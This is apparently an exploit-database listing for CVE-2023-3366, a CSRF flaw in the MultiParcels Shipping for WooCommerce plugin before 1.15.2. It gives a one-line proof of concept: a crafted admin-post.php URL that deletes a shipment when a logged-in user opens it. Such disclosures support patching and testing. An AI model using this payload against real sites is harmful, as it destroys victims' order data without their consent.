Exploit for MultiParcels Shipping For WooCommerce < 1.15.2 - Arbitrary Shipment Deletion via CSRF CVE-2023-3366

Name: Exploit for MultiParcels Shipping For WooCommerce < 1.15.2 - Arbitrary Shipment Deletion via CSRF CVE-2023-3366
Rating: 5 (58 reviews)

2023-07-31 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:B2F06223-9352-4227-AE94-32061E2C5611
Make any logged in user open https://example.com/wp-admin/admin-post.php?action=multiparcels_delete_shipping&id=1 to make them delete the shipment with ID 1